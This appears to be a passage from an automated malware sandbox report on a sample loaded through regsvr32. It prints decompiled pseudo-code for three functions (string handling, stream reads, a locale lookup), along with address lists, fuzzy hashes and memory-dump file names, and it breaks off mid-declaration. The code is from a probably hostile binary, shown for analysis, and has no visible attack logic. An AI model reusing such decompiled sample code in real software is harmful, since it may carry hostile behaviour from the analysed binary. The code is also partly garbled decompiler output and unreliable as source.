API String ID: 0-606707520
Opcode ID: 99547394c1cfeee33f3fbc263d3122085f4524b50faca7c5dbf1af4b9be79401
Instruction ID: da61354fc227849feaf3124cd74cf6ae724b9a96768d86296620b841870b33d4
Opcode Fuzzy Hash: 99547394c1cfeee33f3fbc263d3122085f4524b50faca7c5dbf1af4b9be79401
Instruction Fuzzy Hash: 73222670914709EFDB58DFA8C45A6DEBBF1FB44348F00816DE80AAB290D7749B19CB85

Uniqueness

Uniqueness Score: -1.00%

Function 004082D0 Relevance: 1.7, Strings: 1, Instructions: 421
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E004082D0(signed char __ebx, void* __ecx, void* __edx, void* __esp, signed int* __rax, intOrPtr __rcx, long long __rdx, signed int* __r8, intOrPtr* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t133;
				signed char _t136;
				void* _t137;
				void* _t138;
				void* _t139;
				signed int _t142;
				signed char _t146;
				signed char _t147;
				signed int _t148;
				signed int _t154;
				signed int _t155;
				signed int _t158;
				signed int _t166;
				signed int _t167;
				void* _t168;
				void* _t171;
				signed int _t172;
				signed int _t173;
				void* _t175;
				signed int _t194;
				signed int* _t195;
				intOrPtr* _t197;
				intOrPtr _t199;
				intOrPtr _t200;
				intOrPtr* _t201;
				intOrPtr _t202;
				signed char* _t207;
				signed char* _t211;
				signed char* _t214;
				intOrPtr* _t216;
				intOrPtr _t219;
				intOrPtr _t220;
				signed char* _t221;
				signed char* _t225;
				signed char* _t228;
				intOrPtr* _t238;
				intOrPtr _t242;
				signed int* _t243;
				void* _t244;
				void* _t245;
				signed int* _t246;
				intOrPtr* _t248;
				intOrPtr* _t250;
				intOrPtr* _t254;
				intOrPtr* _t256;
				intOrPtr* _t258;
				intOrPtr* _t259;
				intOrPtr _t261;
				intOrPtr _t262;
				intOrPtr* _t266;
				intOrPtr* _t267;
				intOrPtr _t268;
				intOrPtr _t269;
				intOrPtr _t276;
				intOrPtr* _t282;
				intOrPtr* _t285;
				void* _t301;
				void* _t307;
				intOrPtr _t308;
				long long _t310;
				long long _t311;
				void* _t312;
				intOrPtr _t314;
				void* _t315;
				void* _t316;
				void* _t317;
				void* _t318;
				void* _t319;
				signed int* _t322;
				intOrPtr* _t325;
				intOrPtr* _t330;
				intOrPtr* _t331;
				void* _t332;
				intOrPtr* _t333;
				long long _t334;
				intOrPtr* _t336;
				void* _t337;
				signed int* _t338;

				_t325 = __r9;
				_t322 = __r8;
				_t195 = __rax;
				_t175 = __esp;
				_t165 = __edx;
				_t160 = __ecx;
				_t157 = __ebx;
				_t318 = _t317 - 0x98;
				_t315 = _t318 + 0x80;
				_t336 = __r9;
				_t330 = __r8;
				_t313 = __rcx;
				_t334 = __rdx;
				_t242 =  *((intOrPtr*)(_t315 + 0x80));
				_t176 =  *(_t242 + 0x18);
				if( *(_t242 + 0x18) < 0) {
					_t248 =  *((intOrPtr*)( *((intOrPtr*)(_t242 + 0x40))));
					 *((long long*)(_t315 - 0x10)) = _t248;
					_t197 =  *_t248;
					 *((intOrPtr*)(_t197 + 0x10))();
					E004081A0(__ebx, __edx, _t242, _t315 - 0x10, _t307, __rcx);
					_t333 = _t197;
					_t250 =  *((intOrPtr*)(_t315 - 0x10));
					__eflags = _t250;
					if(_t250 != 0) {
						_t238 =  *_t250;
						 *((intOrPtr*)(_t238 + 0x18))();
						__eflags = _t238;
						if(_t238 != 0) {
							 *((intOrPtr*)( *_t238 + 8))();
						}
					}
					 *((long long*)(_t315 - 0x48)) = _t336;
					 *((long long*)(_t315 - 0x50)) = _t334;
					 *((short*)(_t315 - 8)) = 0;
					asm("movdqa xmm0, [0x4606f]");
					asm("movdqu [ebp+0x8], xmm0");
					_t198 =  *_t333;
					_t288 = _t315 - 0x38;
					_t136 =  *((intOrPtr*)( *_t333 + 0x38))();
					_t337 = _t315 - 8;
					_t243 =  *((intOrPtr*)(_t315 - 0x20));
					__eflags = _t243;
					if(_t243 != 0) {
						_t334 =  *((intOrPtr*)(_t315 + 8));
						_t311 = _t334 + _t243;
						r8d = 0;
						_t288 = _t311;
						_t136 = E00404270(_t136, _t315 - 0x10, _t311);
						__eflags = _t136;
						if(_t136 != 0) {
							__eflags =  *((long long*)(_t315 + 0x10)) - 0xf;
							_t279 =  <=  ? _t337 :  *((intOrPtr*)(_t315 - 8));
							_t280 = ( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) + _t334;
							__eflags =  *((long long*)(_t315 - 0x18)) - 0xf;
							_t288 =  >  ?  *((void*)(_t315 - 0x30)) : _t315 - 0x30;
							_t322 = _t243;
							_t136 = E00437260(_t198, ( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) + _t334);
							__eflags =  *((long long*)(_t315 + 0x10)) - 0xf;
							_t237 =  <=  ? _t337 :  *((intOrPtr*)(_t315 - 8));
							 *((long long*)(_t315 + 8)) = _t311;
							 *((char*)(( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) + _t311)) = 0;
						}
					}
					_t199 =  *((intOrPtr*)(_t315 - 0x18));
					__eflags = _t199 - 0x10;
					if(_t199 >= 0x10) {
						_t276 =  *((intOrPtr*)(_t315 - 0x30));
						_t199 = _t199 + 1;
						__eflags = _t199 - 0x1000;
						if(_t199 >= 0x1000) {
							_t276 =  *((intOrPtr*)(_t276 - 8));
						}
						_t136 = E00402090(_t136, _t276);
					}
					_t308 =  *((intOrPtr*)(_t315 + 8));
					__eflags = _t308 - 0xfffffffe;
					if(_t308 >= 0xfffffffe) {
						_t137 = L00430CE0(_t157, _t165, _t175, _t199, "string too long", _t308, _t313);
						asm("ud2");
						_t314 = _t199;
						_t200 =  *((intOrPtr*)(_t315 - 0x18));
						__eflags = _t200 - 0x10;
						if(_t200 >= 0x10) {
							_t262 =  *((intOrPtr*)(_t315 - 0x30));
							__eflags = _t200 + 1 - 0x1000;
							if(_t200 + 1 >= 0x1000) {
								_t262 =  *((intOrPtr*)(_t262 - 8));
							}
							E00402090(_t137, _t262);
						}
						_t138 = 0xf;
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [ebp-0x20], xmm0");
						 *((char*)(_t315 - 0x30)) = 0;
						_t201 =  *((intOrPtr*)(_t315 + 0x10));
						__eflags = _t201 - 0x10;
						if(_t201 >= 0x10) {
							_t261 =  *((intOrPtr*)(_t315 - 8));
							_t201 = _t201 + 1;
							__eflags = _t201 - 0x1000;
							if(_t201 >= 0x1000) {
								_t261 =  *((intOrPtr*)(_t261 - 8));
							}
							_t138 = E00402090(_t138, _t261);
						}
						_t253 = _t314;
						_t139 = E0044CEA0(_t138, _t314);
						asm("ud2");
						 *_t243 =  *_t243 ^ _t157;
						 *_t322 =  *_t322 + r8b;
						 *_t201 =  *_t201 + _t139;
						 *((intOrPtr*)(_t201 - 0x6f6f6f70)) =  *((intOrPtr*)(_t201 - 0x6f6f6f70)) + _t165;
						_t319 = _t318 - 0x68;
						_t316 = _t319 + 0x60;
						_t331 = _t325;
						_t338 = _t322;
						_t202 =  *((intOrPtr*)(_t316 + 0x70));
						 *(_t316 + 4) = 0;
						_t254 =  *((intOrPtr*)( *((intOrPtr*)(_t202 + 0x40))));
						 *((long long*)(_t316 - 8)) = _t254;
						 *((intOrPtr*)( *_t254 + 0x10))(_t243, _t308, _t314, _t330, _t333, _t334, _t337, _t315);
						 *((long long*)(_t319 + 0x28)) = _t316 - 8;
						 *((intOrPtr*)(_t319 + 0x20)) =  *((intOrPtr*)(_t202 + 0x18));
						_t244 = _t316 - 0x30;
						_t323 = _t338;
						_t166 = L00409A20(_t157, _t160, _t165, __eflags, _t316 - 8, _t244, _t244, _t253, _t314, _t338, _t331, _t331, _t333, _t288, _t338);
						_t256 =  *((intOrPtr*)(_t316 - 8));
						__eflags = _t256;
						if(_t256 != 0) {
							_t216 =  *_t256;
							 *((intOrPtr*)(_t216 + 0x18))();
							__eflags = _t216;
							if(_t216 != 0) {
								 *((intOrPtr*)( *_t216 + 8))();
							}
						}
						__eflags =  *((char*)(_t316 - 0x30)) - 0x2d;
						_t245 =  ==  ? _t316 - 0x2f : _t244;
						r8d = _t166;
						_t142 = E004302D0(_t165, _t316 - 0x2f, _t245, _t316 - 0x10, _t323, _t316 + 4);
						r13d = _t142;
						_t258 =  *_t338;
						_t171 = 0;
						__eflags = _t258;
						_t167 = 0;
						if(_t258 != 0) {
							_t214 =  *((intOrPtr*)( *((intOrPtr*)(_t258 + 0x38))));
							__eflags = _t214;
							if(_t214 == 0) {
								L66:
								_t142 =  *((intOrPtr*)( *_t258 + 0x38))();
							} else {
								__eflags =  *( *(_t258 + 0x50));
								if( *( *(_t258 + 0x50)) <= 0) {
									goto L66;
								} else {
									_t142 =  *_t214 & 0x000000ff;
								}
							}
							_t167 = 0;
							__eflags = _t142 - 0xffffffff;
							dil = _t142 != 0xffffffff;
							__eflags = dil;
						}
						_t259 =  *_t331;
						__eflags = _t259;
						if(_t259 != 0) {
							_t211 =  *((intOrPtr*)( *((intOrPtr*)(_t259 + 0x38))));
							__eflags = _t211;
							if(_t211 == 0) {
								L72:
								_t142 =  *((intOrPtr*)( *_t259 + 0x38))();
							} else {
								__eflags =  *( *(_t259 + 0x50));
								if( *( *(_t259 + 0x50)) <= 0) {
									goto L72;
								} else {
									_t142 =  *_t211 & 0x000000ff;
								}
							}
							_t171 = 0;
							__eflags = _t142 - 0xffffffff;
							sil = _t142 != 0xffffffff;
							__eflags = sil;
						}
						_t207 =  *((intOrPtr*)(_t316 + 0x78));
						__eflags = _t167 - _t171;
						if(_t167 == _t171) {
							 *_t207 =  *_t207 | 0x00000001;
							__eflags =  *_t207;
						}
						__eflags = r13d - 0xffff;
						if(r13d > 0xffff) {
							L80:
							 *_t207 =  *_t207 | 0x00000002;
							__eflags =  *_t207;
						} else {
							__eflags =  *((intOrPtr*)(_t316 - 0x10)) - _t245;
							if( *((intOrPtr*)(_t316 - 0x10)) == _t245) {
								goto L80;
							} else {
								__eflags =  *(_t316 + 4);
								if( *(_t316 + 4) != 0) {
									goto L80;
								} else {
									__eflags =  *((char*)(_t316 - 0x30)) - 0x2d;
									_t164 =  !=  ? r13w :  ~r13d;
									 *((short*)( *((intOrPtr*)(_t316 + 0x80)))) =  !=  ? r13w :  ~r13d;
								}
							}
						}
						asm("inc ecx");
						asm("inc ecx");
						return _t142;
					} else {
						_t310 = _t308 + 1;
						r8d = 0;
						_t146 = E00404270(_t136, _t315 - 0x10, _t310);
						__eflags = _t146;
						if(_t146 != 0) {
							__eflags =  *((long long*)(_t315 + 0x10)) - 0xf;
							_t275 =  <=  ? _t337 :  *((intOrPtr*)(_t315 - 8));
							 *((char*)(( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) +  *((intOrPtr*)(_t315 + 8)))) = 0;
							__eflags =  *((long long*)(_t315 + 0x10)) - 0xf;
							_t235 =  <=  ? _t337 :  *((intOrPtr*)(_t315 - 8));
							 *((long long*)(_t315 + 8)) = _t310;
							 *((char*)(( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) + _t310)) = 0;
						}
						_t218 =  *_t333;
						_t147 =  *((intOrPtr*)( *_t333 + 0x40))();
						_t246 =  *((intOrPtr*)(_t315 - 0x20));
						__eflags = _t246;
						if(_t246 != 0) {
							_t313 =  *((intOrPtr*)(_t315 + 8));
							_t310 = _t313 + _t246;
							r8d = 0;
							_t147 = E00404270(_t147, _t315 - 0x10, _t310);
							__eflags = _t147;
							if(_t147 != 0) {
								__eflags =  *((long long*)(_t315 + 0x10)) - 0xf;
								_t272 =  <=  ? _t337 :  *((intOrPtr*)(_t315 - 8));
								_t273 = ( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) + _t313;
								__eflags =  *((long long*)(_t315 - 0x18)) - 0xf;
								_t301 =  >  ?  *((void*)(_t315 - 0x30)) : _t315 - 0x30;
								_t322 = _t246;
								_t147 = E00437260(_t218, ( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) + _t313);
								__eflags =  *((long long*)(_t315 + 0x10)) - 0xf;
								_t232 =  <=  ? _t337 :  *((intOrPtr*)(_t315 - 8));
								 *((long long*)(_t315 + 8)) = _t310;
								 *((char*)(( <=  ? _t337 :  *((intOrPtr*)(_t315 - 8))) + _t310)) = 0;
							}
						}
						_t219 =  *((intOrPtr*)(_t315 - 0x18));
						__eflags = _t219 - 0x10;
						if(_t219 >= 0x10) {
							_t269 =  *((intOrPtr*)(_t315 - 0x30));
							_t219 = _t219 + 1;
							__eflags = _t219 - 0x1000;
							if(_t219 >= 0x1000) {
								_t269 =  *((intOrPtr*)(_t269 - 8));
							}
							E00402090(_t147, _t269);
						}
						__eflags =  *((long long*)(_t315 + 0x10)) - 0xf;
						_t339 =  >  ?  *((void*)(_t315 - 8)) : _t337;
						 *((long long*)(_t318 + 0x28)) = 0;
						 *(_t318 + 0x20) = 0;
						r8d = 2;
						_t328 =  >  ?  *((void*)(_t315 - 8)) : _t337;
						_t148 = L00409620(_t160, _t175, _t219, _t246, _t330,  *((intOrPtr*)(_t315 - 0x48)), _t310, _t313, _t322,  >  ?  *((void*)(_t315 - 8)) : _t337, _t330, _t333, _t334,  >  ?  *((void*)(_t315 - 8)) : _t337);
						_t172 = _t148;
						_t220 =  *((intOrPtr*)(_t315 + 0x10));
						__eflags = _t220 - 0x10;
						_t334 =  *((intOrPtr*)(_t315 - 0x50));
						_t336 =  *((intOrPtr*)(_t315 - 0x48));
						if(_t220 >= 0x10) {
							_t268 =  *((intOrPtr*)(_t315 - 8));
							__eflags = _t220 + 1 - 0x1000;
							if(_t220 + 1 >= 0x1000) {
								_t268 =  *((intOrPtr*)(_t268 - 8));
							}
							_t148 = E00402090(_t148, _t268);
						}
						goto L31;
					}
				} else {
					E00446A60(_t133, __ecx, _t176, __rax);
					 *_t195 = 0;
					_t282 =  *((intOrPtr*)( *((intOrPtr*)(_t242 + 0x40))));
					 *((long long*)(_t315 - 0x40)) = _t282;
					 *((intOrPtr*)( *_t282 + 0x10))();
					_t241 = _t315 - 0x40;
					 *((long long*)(_t318 + 0x28)) = _t315 - 0x40;
					 *(_t318 + 0x20) =  *(_t242 + 0x18);
					_t154 = L00409A20(__ebx, _t160, __edx, _t176, _t315 - 0x40, _t242, _t315 - 0x10, _t307, __rcx, __r8, __r9, __r8, _t332, __rdx, __r9);
					_t312 = _t315 - 0x10;
					r8d = _t154;
					_t148 = E00445570(_t176, _t312, _t315 - 0x38, __r9);
					_t173 = _t148;
					_t285 =  *((intOrPtr*)(_t315 - 0x40));
					if(_t285 != 0) {
						_t241 =  *_t285;
						_t148 =  *((intOrPtr*)(_t241 + 0x18))();
						if(_t241 != 0) {
							_t148 =  *((intOrPtr*)( *_t241 + 8))();
						}
					}
					_t179 =  *((intOrPtr*)(_t315 - 0x38)) - _t312;
					if( *((intOrPtr*)(_t315 - 0x38)) == _t312) {
						_t172 = 0xffffffff;
					} else {
						_t155 = E00446A60(_t148, _t160, _t179, _t241);
						asm("sbb eax, eax");
						_t148 =  !_t155 | _t173;
						_t172 =  <  ? _t148 : 0xffffffff;
					}
					L31:
					_t266 =  *_t330;
					_t168 = 0;
					_t158 = 0;
					if(_t266 != 0) {
						_t228 =  *((intOrPtr*)( *((intOrPtr*)(_t266 + 0x38))));
						if(_t228 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t266 + 0x50)))) <= 0) {
							_t148 =  *((intOrPtr*)( *_t266 + 0x38))();
						} else {
							_t148 =  *_t228 & 0x000000ff;
						}
						_t158 = 0 | _t148 != 0xffffffff;
					}
					_t267 =  *_t336;
					if(_t267 != 0) {
						_t225 =  *((intOrPtr*)( *((intOrPtr*)(_t267 + 0x38))));
						if(_t225 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t267 + 0x50)))) <= 0) {
							_t148 =  *((intOrPtr*)( *_t267 + 0x38))();
						} else {
							_t148 =  *_t225 & 0x000000ff;
						}
						_t168 = 0;
						dil = _t148 != 0xffffffff;
					}
					_t221 =  *((intOrPtr*)(_t315 + 0x88));
					if(_t158 == _t168) {
						 *_t221 =  *_t221 | 0x00000001;
					}
					_t194 = _t172;
					if(_t194 < 0) {
						 *_t221 =  *_t221 | 0x00000002;
						__eflags =  *_t221;
					} else {
						 *((char*)( *((intOrPtr*)(_t315 + 0x90)))) = _t194 != 0;
					}
					asm("inc ecx");
					asm("inc ecx");
					return _t148;
				}
			}

0x004082d0
0x004082d0
0x004082d0
0x004082d0
0x004082d0
0x004082d0
0x004082d0
0x004082dc
0x004082e3
0x004082eb
0x004082ee
0x004082f1
0x004082f4
0x004082f7
0x004082fe
0x00408303
0x004083a5
0x004083a8
0x004083ac
0x004083af
0x004083b6
0x004083bb
0x004083be
0x004083c2
0x004083c5
0x004083c7
0x004083ca
0x004083cd
0x004083d0
0x004083d8
0x004083d8
0x004083d0
0x004083db
0x004083df
0x004083e3
0x004083e9
0x004083f1
0x004083f6
0x004083fa
0x00408401
0x00408404
0x00408408
0x0040840c
0x0040840f
0x00408411
0x00408415
0x0040841d
0x00408420
0x00408423
0x00408428
0x0040842a
0x0040842c
0x00408435
0x00408439
0x0040843c
0x00408445
0x0040844a
0x0040844d
0x00408452
0x0040845b
0x0040845f
0x00408463
0x00408463
0x0040842a
0x00408467
0x0040846b
0x0040846f
0x00408471
0x00408475
0x00408478
0x0040847e
0x00408480
0x00408480
0x00408484
0x00408484
0x00408489
0x0040848d
0x00408491
0x0040867a
0x0040867f
0x00408683
0x00408686
0x0040868a
0x0040868e
0x00408690
0x00408697
0x0040869d
0x0040869f
0x0040869f
0x004086a3
0x004086a3
0x004086a8
0x004086ad
0x004086b2
0x004086b7
0x004086bc
0x00408713
0x00408717
0x0040871b
0x0040871d
0x00408721
0x00408724
0x0040872a
0x0040872c
0x0040872c
0x00408730
0x00408730
0x00408735
0x00408738
0x0040873d
0x0040873f
0x00408741
0x00408744
0x00408746
0x0040875c
0x00408760
0x00408765
0x00408768
0x00408771
0x00408775
0x00408783
0x00408786
0x0040878d
0x00408794
0x00408799
0x0040879d
0x004087a7
0x004087b2
0x004087b4
0x004087b8
0x004087bb
0x004087bd
0x004087c0
0x004087c3
0x004087c6
0x004087ce
0x004087ce
0x004087c6
0x004087d1
0x004087d9
0x004087e8
0x004087eb
0x004087f0
0x004087f3
0x004087f6
0x004087f8
0x004087fb
0x00408800
0x00408806
0x00408809
0x0040880c
0x0040881c
0x0040881f
0x0040880e
0x00408812
0x00408815
0x00000000
0x00408817
0x00408817
0x00408817
0x00408815
0x00408822
0x00408824
0x00408827
0x00408827
0x00408827
0x0040882b
0x0040882f
0x00408832
0x00408838
0x0040883b
0x0040883e
0x0040884e
0x00408851
0x00408840
0x00408844
0x00408847
0x00000000
0x00408849
0x00408849
0x00408849
0x00408847
0x00408854
0x00408856
0x00408859
0x00408859
0x00408859
0x0040885d
0x00408861
0x00408863
0x00408865
0x00408865
0x00408865
0x00408868
0x0040886f
0x00408898
0x00408898
0x00408898
0x00408871
0x00408871
0x00408875
0x00000000
0x00408877
0x0040887a
0x0040887c
0x00000000
0x0040887e
0x0040888a
0x0040888e
0x00408893
0x00408893
0x0040887c
0x00408875
0x0040889b
0x0040889f
0x004088b6
0x00408497
0x00408497
0x0040849e
0x004084a4
0x004084a9
0x004084ab
0x004084b1
0x004084ba
0x004084be
0x004084c2
0x004084cb
0x004084cf
0x004084d3
0x004084d3
0x004084d7
0x004084e2
0x004084e5
0x004084e9
0x004084ec
0x004084ee
0x004084f2
0x004084fa
0x00408500
0x00408505
0x00408507
0x00408509
0x00408512
0x00408516
0x00408519
0x00408522
0x00408527
0x0040852a
0x0040852f
0x00408538
0x0040853c
0x00408540
0x00408540
0x00408507
0x00408544
0x00408548
0x0040854c
0x0040854e
0x00408552
0x00408555
0x0040855b
0x0040855d
0x0040855d
0x00408561
0x00408561
0x00408566
0x0040856b
0x00408570
0x00408579
0x00408581
0x0040858e
0x00408591
0x00408596
0x00408598
0x0040859c
0x004085a0
0x004085a4
0x004085a8
0x004085aa
0x004085b1
0x004085b7
0x004085b9
0x004085b9
0x004085bd
0x004085bd
0x00000000
0x004085a8
0x00408309
0x00408309
0x0040830e
0x0040831b
0x0040831e
0x00408325
0x00408328
0x0040832c
0x00408331
0x00408342
0x00408347
0x00408352
0x00408355
0x0040835a
0x0040835c
0x00408363
0x00408365
0x00408368
0x0040836e
0x00408376
0x00408376
0x0040836e
0x00408379
0x0040837d
0x004085c4
0x00408383
0x00408383
0x0040838b
0x0040838f
0x00408399
0x00408399
0x004085c9
0x004085c9
0x004085cd
0x004085d2
0x004085d7
0x004085dd
0x004085e3
0x004085f6
0x004085ee
0x004085ee
0x004085ee
0x004085fe
0x004085fe
0x00408601
0x00408607
0x0040860d
0x00408613
0x00408626
0x0040861e
0x0040861e
0x0040861e
0x00408629
0x0040862e
0x0040862e
0x00408632
0x0040863b
0x0040863d
0x0040863d
0x00408640
0x00408642
0x00408650
0x00408650
0x00408644
0x0040864b
0x0040864b
0x00408653
0x00408658
0x00408672
0x00408672

Strings

string too long, xrefs: 00408673

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: ErrorLast
String ID: string too long
API String ID: 1452528299-2556327735
Opcode ID: 02c348d368627007599d08bda76bedae86bffc69a2ba1bb96a47ab311fedb9c9
Instruction ID: 66ca79b450aef712b4355e61bf7fe1fa4b3c721337323460fb058c66205cc039
Opcode Fuzzy Hash: 02c348d368627007599d08bda76bedae86bffc69a2ba1bb96a47ab311fedb9c9
Instruction Fuzzy Hash: 4DF18A23700A5489EB11DF6AD9803AD3B70F785F98F45492ADE8E67B98DF38C985C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011030 Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

ef, xrefs: 00000001800111CE

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ef
API String ID: 0-3522424648
Opcode ID: 63cf04038136136116a979567ba4b26417661d5f843165bc7989bb71bb8234a9
Instruction ID: 09829524f6770b6903ff5d38eb1843335ee74db775d190c0abab3d67ff2c10c5
Opcode Fuzzy Hash: 63cf04038136136116a979567ba4b26417661d5f843165bc7989bb71bb8234a9
Instruction Fuzzy Hash: D7021970A04709EFDB58DF68C08969EBBF2FB48344F00C16DE84AAB290D775DA59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0043FC60 Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0043FC60(void* __eflags, long long __rax, intOrPtr* __rcx, void* __rdx) {
				void* _t31;
				intOrPtr _t51;
				void* _t56;
				long long _t63;
				long long _t66;
				long long _t90;
				intOrPtr _t94;
				intOrPtr _t95;
				void* _t97;
				void* _t98;
				void* _t101;
				intOrPtr* _t102;

				_t63 = __rax;
				_t97 = _t98 + 0x80;
				_t101 = __rdx;
				_t102 = __rcx;
				r9d = 0x200;
				L0044D2F0();
				E00437C70(__rax, _t97 - 0x60);
				 *((short*)(_t97 + _t63 - 0x60)) = 0x5f;
				_t31 = E00437C70(_t63, _t97 - 0x60);
				_t100 = _t97 + _t63 - 0x60;
				_t56 = 0x200 - _t31;
				r9d = 0x200;
				GetLocaleInfoA(??, ??, ??, ??);
				E00437C70(_t63, _t97 - 0x60);
				 *((short*)(_t97 + _t63 - 0x60)) = 0x2e;
				E00437C70(_t63, _t97 - 0x60);
				r8d = 0xa;
				_t51 =  *__rcx;
				E00443EA0();
				_t65 =  *((intOrPtr*)(__rcx + 0x38));
				if( *((intOrPtr*)(__rcx + 0x38)) == 0) {
					E00437C70(_t63, __rdx);
					E00437C70(_t63, _t97 - 0x60);
					_t90 = _t63;
					E00432700();
					_t66 = _t63;
					 *((long long*)(__rcx + 0x38)) = _t66;
					if(_t66 == 0) {
						L6:
						return 0;
					}
					E00437C70(_t63, __rdx);
					_t23 = _t63 + 3; // 0x3
					_t100 = _t90 + _t23;
					E00437530(_t51, 0, _t56, _t63, _t66, _t90 + _t23);
					L5:
					E00437D00(_t66, _t101, _t100);
					_t94 =  *((intOrPtr*)(_t102 + 0x38));
					E00437C70(_t63, _t94);
					 *((short*)(_t94 + _t63)) = 0x3d;
					E00437D00( *((intOrPtr*)(_t102 + 0x38)), _t97 - 0x60, _t100);
					_t95 =  *((intOrPtr*)(_t102 + 0x38));
					E00437C70(_t63, _t95);
					 *((short*)(_t95 + _t63)) = 0xa;
					return 1;
				}
				E00437C70(_t63, _t65);
				E00437C70(_t63, __rdx);
				E00437C70(_t63, _t97 - 0x60);
				E00432720();
				_t66 = _t63;
				 *((long long*)(__rcx + 0x38)) = _t66;
				if(_t66 != 0) {
					goto L5;
				}
				goto L6;
			}

0x0043fc60
0x0043fc6f
0x0043fc77
0x0043fc7a
0x0043fc8f
0x0043fc98
0x0043fca0
0x0043fca5
0x0043fcb3
0x0043fcb8
0x0043fcbd
0x0043fcc6
0x0043fcc9
0x0043fcd1
0x0043fcd6
0x0043fce3
0x0043fced
0x0043fcf3
0x0043fcf5
0x0043fcfa
0x0043fd01
0x0043fd46
0x0043fd52
0x0043fd57
0x0043fd5f
0x0043fd64
0x0043fd67
0x0043fd6e
0x0043fdca
0x00000000
0x0043fdca
0x0043fd73
0x0043fd78
0x0043fd78
0x0043fd82
0x0043fd87
0x0043fd8d
0x0043fd92
0x0043fd99
0x0043fd9e
0x0043fdac
0x0043fdb1
0x0043fdb8
0x0043fdbd
0x00000000
0x0043fdc3
0x0043fd06
0x0043fd11
0x0043fd1d
0x0043fd2d
0x0043fd32
0x0043fd35
0x0043fd3c
0x00000000
0x00000000
0x00000000

APIs

GetLocaleInfoA.KERNEL32 ref: 0043FCC9

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5cbdb1f3cb05714910d7110c22cd09f19ba0dc3cd7322ebbf7ed32a5a2804d94
Instruction ID: bbc58a269691bc64bd8592b153b8a696ca1d93747be8ee7b96ca97dfd3b6c45c
Opcode Fuzzy Hash: 5cbdb1f3cb05714910d7110c22cd09f19ba0dc3cd7322ebbf7ed32a5a2804d94
Instruction Fuzzy Hash: 3E31085270129849DA25EF67E8142AE1351EB8DBC8F497037DE4A1B705EE3CC8468384

Uniqueness

Uniqueness Score: -1.00%

Function 004161A0 Relevance: 1.6, Strings: 1, Instructions: 313
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E004161A0(signed int __ecx, signed int __rcx, signed long long __rdx, long long __r8, signed short* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				signed int _t326;
				void* _t328;
				signed char _t329;
				signed int _t335;
				signed int _t337;
				signed int _t341;
				void* _t345;
				signed int _t346;
				signed int _t348;
				signed int _t356;
				signed short _t358;
				signed short _t360;
				signed short _t362;
				signed int _t369;
				signed short _t370;
				signed int _t374;
				char _t377;
				signed short _t379;
				signed short _t383;
				signed short _t384;
				signed short _t387;
				signed short _t389;
				signed short _t391;
				signed short _t392;
				signed short _t394;
				char _t396;
				signed short _t397;
				signed short _t399;
				signed short _t400;
				signed short _t402;
